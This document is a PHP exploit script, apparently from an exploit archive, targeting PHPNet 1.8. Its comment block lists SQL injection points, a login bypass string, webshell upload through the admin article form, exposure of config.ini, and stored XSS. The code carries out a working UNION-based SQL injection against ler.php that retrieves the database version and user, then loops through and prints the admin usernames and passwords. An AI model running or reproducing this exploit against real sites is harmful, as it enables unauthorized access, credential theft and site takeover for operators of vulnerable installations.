<?php  
标题: PHPNet <= 1.8 (ler.php) SQL Injection 
 
作者 WhiteCollarGroup 
开发者: http://www.phpnet.com.br/ 
 下载地址: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos 
影响版本: 1.8 
测试平台: Debian GNU/Linux,Windows 7 Ultimate 
 
  
 
/* 
这个系统里我们发现了多个sql注射

  ~> SQL Injection 
 
This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php. 
 
ler.php?id=[SQLi] 
 
imprimir.php?id=[SQLi] 
 
imagem.php?id=[SQLi] 
 
  
 
示例 
php file.php http://www.2cto.com /path/ 
 
  
 
  ~> Login bypass 
 
In login page, you can bypass the login using "SQLi strings". 
 
Go to http:// www.2cto.com /path/admin/login.php 
 
  
 
Login: ' or 1=1-- wc 
 
Pass: wcgroup 
 
  
 
  ~> 任意文件上传 
  After open administration panel, try to add a new article. 
 
  Use the upload form to upload your webshell. 
 
  After posting, access: 
 
  http://server/path/tmp/your_shell_filename.php 
 
    
 
  ~> 信息泄露 
  Access: 
 
  http://server/path/conf/config.ini 
 
    
 
  ~> XSS Stored (persistent) 
 
  When posting a new article, you can post (D)HTML/Javascript codes on the page. 
 
    
 
*/
 
   
 
function _printf($str) { 
 
    echo $str."\n"; 
 
} 
 
  
 
function hex($string){ 
 
    $hex=''; // PHP 'Dim' =] 
 
    for ($i=0; $i < strlen($string); $i++){ 
 
        $hex .= dechex(ord($string[$i])); 
 
    } 
 
    return '0x'.$hex; 
 
} 
 
  
 
set_time_limit(0); 
 
error_reporting(E_ERROR & E_USER_WARNING); 
 
@ini_set('default_socket_timeout', 30); 
 
echo "\n"; 
 
   
 
echo "PHPNet <= 1.8 SQLi Exploit\n"; 
 
echo "Discovered by WhiteCollarGroup\n"; 
 
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com";  
 
if($argc!=2) { 
 
    _printf("Usage:"); 
 
    _printf("php $argv[0] <target>"); 
 
    _printf("Example:"); 
 
    _printf("php $argv[0] http:// www.2cto.com /path/"); 
 
    exit; 
 
} 
 
  
 
$target = $argv[1]; 
 
if(substr($target, (strlen($target)-1))!="/") { // se o ultimo caractere nao for uma barra 
 
    $target .= "/";  
 
} 
 
  
 
$inject = $target . "ler.php?id=-0'%20";  
 
  
 
$token = uniqid(); 
 
$token_hex = hex($token); 
 
  
 
// vamos agora obter os seguintes dados: user() version() 
 
echo "\n\n[*] Trying to get informations...\n"; 
 
  
 
$infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",version(),".$token_hex.",user(),".$token_hex."),6,7,8-- ")); 
 
$infos_r = array(); 
 
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r); 
 
$user = $infos_r[1][0]; 
 
$version = $infos_r[2][0]; 
 
if(($user) AND ($version))  
 
{ 
 
    echo "[!] MySQL user: $user\n"; 
 
    echo "[!] MySQL version: $version\n"; 
 
}  
 
else
 
{ 
 
    echo "[-] Error while getting informations...\n"; 
 
} 
 
  
 
$i = 0; 
 
while(1==1) { 
 
    $dados_r = array(); 
 
    $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",admin_user,".$token_hex.",admin_pass,".$token_hex."),6,7,8 from pna_admin limit $i,1-- ")); 
 
    preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r); 
 
    $login = $dados_r[1][0]; 
 
    $senha = $dados_r[2][0]; 
 
    if(($login) AND ($senha)) { 
 
        echo "    -+-\n"; 
 
        echo "[!] User: $login\n"; 
 
        echo "[!] Pass: $senha\n"; 
 
        $i++; 
 
    } else { 
 
        break; // exitloop 
 
    } 
 
      
 
    if($i==0) { 
 
        echo "[-] Exploit failed. Make sure that's server is using a valid version of PHPNet without mod_security. We're sorry."; 
 
    } else { 
 
        echo "    -+-\n[!] :D"; 
 
    } 
 
    echo "\n"; 
 
} 
 
  
 
?>